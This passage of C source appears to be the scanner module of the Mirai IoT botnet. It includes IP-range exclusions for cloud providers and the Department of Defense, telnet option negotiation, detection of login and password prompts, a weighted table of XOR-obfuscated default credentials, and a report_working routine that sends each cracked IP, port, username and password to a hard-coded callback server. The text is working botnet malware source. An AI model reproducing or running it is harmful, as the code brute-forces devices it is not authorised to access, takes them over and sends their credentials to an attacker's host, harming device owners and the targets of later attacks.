&& o3 >= 40 && o3 < 43) || //Total Server Solutions853(o1 == 208 && o2 == 93 && o3 >= 192 && o3 < 193) || //Total Server Solutions854(o1 == 66 && o2 == 71 && o3 >= 240 && o3 < 255) || //Total Server Solutions855(o1 == 98 && o2 == 142 && o3 >= 208 && o3 < 223) || //Total Server Solutions856(o1 == 107 && o2 >= 20 && o2 < 24) || //Amazon857(o1 == 35 && o2 >= 159 && o2 < 183) || //Amazon858(o1 == 52 && o2 >= 1 && o2 < 95) || //Amazon859(o1 == 52 && o2 >= 95 && o2 < 255) || //Amazon + Microsoft860(o1 == 54 && o2 >= 64 && o2 < 95) || //Amazon + Microsoft861(o1 == 54 && o2 >= 144 && o2 < 255) || //Amazon + Microsoft862(o1 == 13 && o2 >= 52 && o2 < 60) || //Amazon + Microsoft863(o1 == 13 && o2 >= 112 && o2 < 115) || //Amazon + Microsoft864(o1 == 163 && o2 == 172) || //ONLINE SAS865(o1 == 51 && o2 >= 15 && o2 < 255) || //ONLINE SAS866(o1 == 79 && o2 == 121 && o3 >= 128 && o3 < 255) || //Some more867(o1 == 212 && o2 == 47 && o3 >= 224 && o3 < 255) || //Some more868(o1 == 89 && o2 == 34 && o3 >= 96 && o3 < 97) || //Some more869(o1 == 219 && o2 >= 216 && o2 < 231) || //Some more870(o1 == 23 && o2 >= 94 && o2 < 109) || //Some more871(o1 == 178 && o2 >= 62 && o2 < 63) || //Some more872(o1 == 106 && o2 >= 182 && o2 < 189) || //Some more873(o1 == 106 && o2 >= 184) || //Some more874(o1 == 34 && o2 >= 245 && o2 < 255) || //Some more875(o1 == 87 && o2 >= 97 && o2 < 99) || //Some more876(o1 == 86 && o2 == 208) || //Some more877(o1 == 86 && o2 == 209) || //Some more878(o1 == 193 && o2 == 164) || //Some more879(o1 == 120 && o2 >= 103 && o2 < 108) || //Ministry of Education Computer Science880(o1 == 188 && o2 == 68) || //Ministry of Education Computer Science881(o1 == 78 && o2 == 46) || //Ministry of Education Computer Science882(o1 >= 224) || //Multicast883(o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense884);885886return INET_ADDR(o1,o2,o3,o4);887}888static int consume_iacs(struct scanner_connection *conn)889{890int consumed = 0;891uint8_t *ptr = conn->rdbuf;892893while (consumed < conn->rdbuf_pos)894{895int i;896897if (*ptr != 0xff)898break;899else if (*ptr == 0xff)900{901if (!can_consume(conn, ptr, 1))902break;903if (ptr[1] == 0xff)904{905ptr += 2;906consumed += 2;907continue;908}909else if (ptr[1] == 0xfd)910{911uint8_t tmp1[3] = {255, 251, 31};912uint8_t tmp2[9] = {255, 250, 31, 0, 80, 0, 24, 255, 240};913914if (!can_consume(conn, ptr, 2))915break;916if (ptr[2] != 31)917goto iac_wont;918919ptr += 3;920consumed += 3;921922send(conn->fd, tmp1, 3, MSG_NOSIGNAL);923send(conn->fd, tmp2, 9, MSG_NOSIGNAL);924}925else926{927iac_wont:928929if (!can_consume(conn, ptr, 2))930break;931932for (i = 0; i < 3; i++)933{934if (ptr[i] == 0xfd)935ptr[i] = 0xfc;936else if (ptr[i] == 0xfb)937ptr[i] = 0xfd;938}939940send(conn->fd, ptr, 3, MSG_NOSIGNAL);941ptr += 3;942consumed += 3;943}944}945}946947return consumed;948}949950static int consume_any_prompt(struct scanner_connection *conn)951{952char *pch;953int i, prompt_ending = -1;954955for (i = conn->rdbuf_pos - 1; i > 0; i--)956{957if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#' || conn->rdbuf[i] == '%')958{959prompt_ending = i + 1;960break;961}962}963964if (prompt_ending == -1)965return 0;966else967return prompt_ending;968}969970static int consume_user_prompt(struct scanner_connection *conn)971{972char *pch;973int i, prompt_ending = -1;974975for (i = conn->rdbuf_pos - 1; i > 0; i--)976{977if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#' || conn->rdbuf[i] == '%')978{979prompt_ending = i + 1;980break;981}982}983984if (prompt_ending == -1)985{986int tmp;987988if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "ogin", 4)) != -1)989prompt_ending = tmp;990else if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "enter", 5)) != -1)991prompt_ending = tmp;992}993994if (prompt_ending == -1)995return 0;996else997return prompt_ending;998}9991000static int consume_pass_prompt(struct scanner_connection *conn)1001{1002char *pch;1003int i, prompt_ending = -1;10041005for (i = conn->rdbuf_pos - 1; i > 0; i--)1006{1007if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#')1008{1009prompt_ending = i + 1;1010break;1011}1012}10131014if (prompt_ending == -1)1015{1016int tmp;10171018if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "assword", 7)) != -1)1019prompt_ending = tmp;1020}10211022if (prompt_ending == -1)1023return 0;1024else1025return prompt_ending;1026}10271028static int consume_resp_prompt(struct scanner_connection *conn)1029{1030char *tkn_resp;1031int prompt_ending, len;10321033table_unlock_val(TABLE_SCAN_NCORRECT);1034tkn_resp = table_retrieve_val(TABLE_SCAN_NCORRECT, &len);1035if (util_memsearch(conn->rdbuf, conn->rdbuf_pos, tkn_resp, len - 1) != -1)1036{1037table_lock_val(TABLE_SCAN_NCORRECT);1038return -1;1039}1040table_lock_val(TABLE_SCAN_NCORRECT);10411042table_unlock_val(TABLE_SCAN_RESP);1043tkn_resp = table_retrieve_val(TABLE_SCAN_RESP, &len);1044prompt_ending = util_memsearch(conn->rdbuf, conn->rdbuf_pos, tkn_resp, len - 1);1045table_lock_val(TABLE_SCAN_RESP);10461047if (prompt_ending == -1)1048return 0;1049else1050return prompt_ending;1051}10521053static void add_auth_entry(char *enc_user, char *enc_pass, uint16_t weight)1054{1055int tmp;10561057auth_table = realloc(auth_table, (auth_table_len + 1) * sizeof (struct scanner_auth));1058auth_table[auth_table_len].username = deobf(enc_user, &tmp);1059auth_table[auth_table_len].username_len = (uint8_t)tmp;1060auth_table[auth_table_len].password = deobf(enc_pass, &tmp);1061auth_table[auth_table_len].password_len = (uint8_t)tmp;1062auth_table[auth_table_len].weight_min = auth_table_max_weight;1063auth_table[auth_table_len++].weight_max = auth_table_max_weight + weight;1064auth_table_max_weight += weight;1065}10661067static struct scanner_auth *random_auth_entry(void)1068{1069int i;1070uint16_t r = (uint16_t)(rand_next() % auth_table_max_weight);10711072for (i = 0; i < auth_table_len; i++)1073{1074if (r < auth_table[i].weight_min)1075continue;1076else if (r < auth_table[i].weight_max)1077return &auth_table[i];1078}10791080return NULL;1081}10821083static void report_working(ipv4_t daddr, uint16_t dport, struct scanner_auth *auth)1084{1085struct sockaddr_in addr;1086int pid = fork(), fd;1087struct resolv_entries *entries = NULL;10881089if (pid > 0 || pid == -1)1090return;10911092if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)1093{1094#ifdef DEBUG1095printf("[report] Failed to call socket()\n");1096#endif1097exit(0);1098}10991100table_unlock_val(TABLE_SCAN_CB_PORT);1101addr.sin_family = AF_INET;1102addr.sin_addr.s_addr = SCANIP;1103addr.sin_port = *((port_t *)table_retrieve_val(TABLE_SCAN_CB_PORT, NULL));1104table_lock_val(TABLE_SCAN_CB_PORT);11051106if (connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1)1107{1108#ifdef DEBUG1109printf("[report] Failed to connect to scanner callback!\n");1110#endif1111close(fd);1112exit(0);1113}11141115uint8_t zero = 0;1116send(fd, &zero, sizeof (uint8_t), MSG_NOSIGNAL);1117send(fd, &daddr, sizeof (ipv4_t), MSG_NOSIGNAL);1118send(fd, &dport, sizeof (uint16_t), MSG_NOSIGNAL);1119send(fd, &(auth->username_len), sizeof (uint8_t), MSG_NOSIGNAL);1120send(fd, auth->username, auth->username_len, MSG_NOSIGNAL);1121send(fd, &(auth->password_len), sizeof (uint8_t), MSG_NOSIGNAL);1122send(fd, auth->password, auth->password_len, MSG_NOSIGNAL);11231124#ifdef DEBUG1125printf("[report] Send scan result to loader\n");1126#endif11271128close(fd);1129exit(0);1130}11311132static char *deobf(char *str, int *len)1133{1134int i;1135char *cpy;11361137*len = util_strlen(str);1138cpy = malloc(*len + 1);11391140util_memcpy(cpy, str, *len + 1);11411142for (i = 0; i < *len; i++)1143{1144cpy[i] ^= 0xDE;1145cpy[i] ^= 0xDE;1146cpy[i] ^= 0xFF;1147cpy[i] ^= 0xBA;1148}11491150return cpy;1151}11521153static BOOL can_consume(struct scanner_connection *conn, uint8_t *ptr, int amount)1154{1155uint8_t *end = conn->rdbuf + conn->rdbuf_pos;11561157return ptr + amount < end;1158}11591160#endif116111621163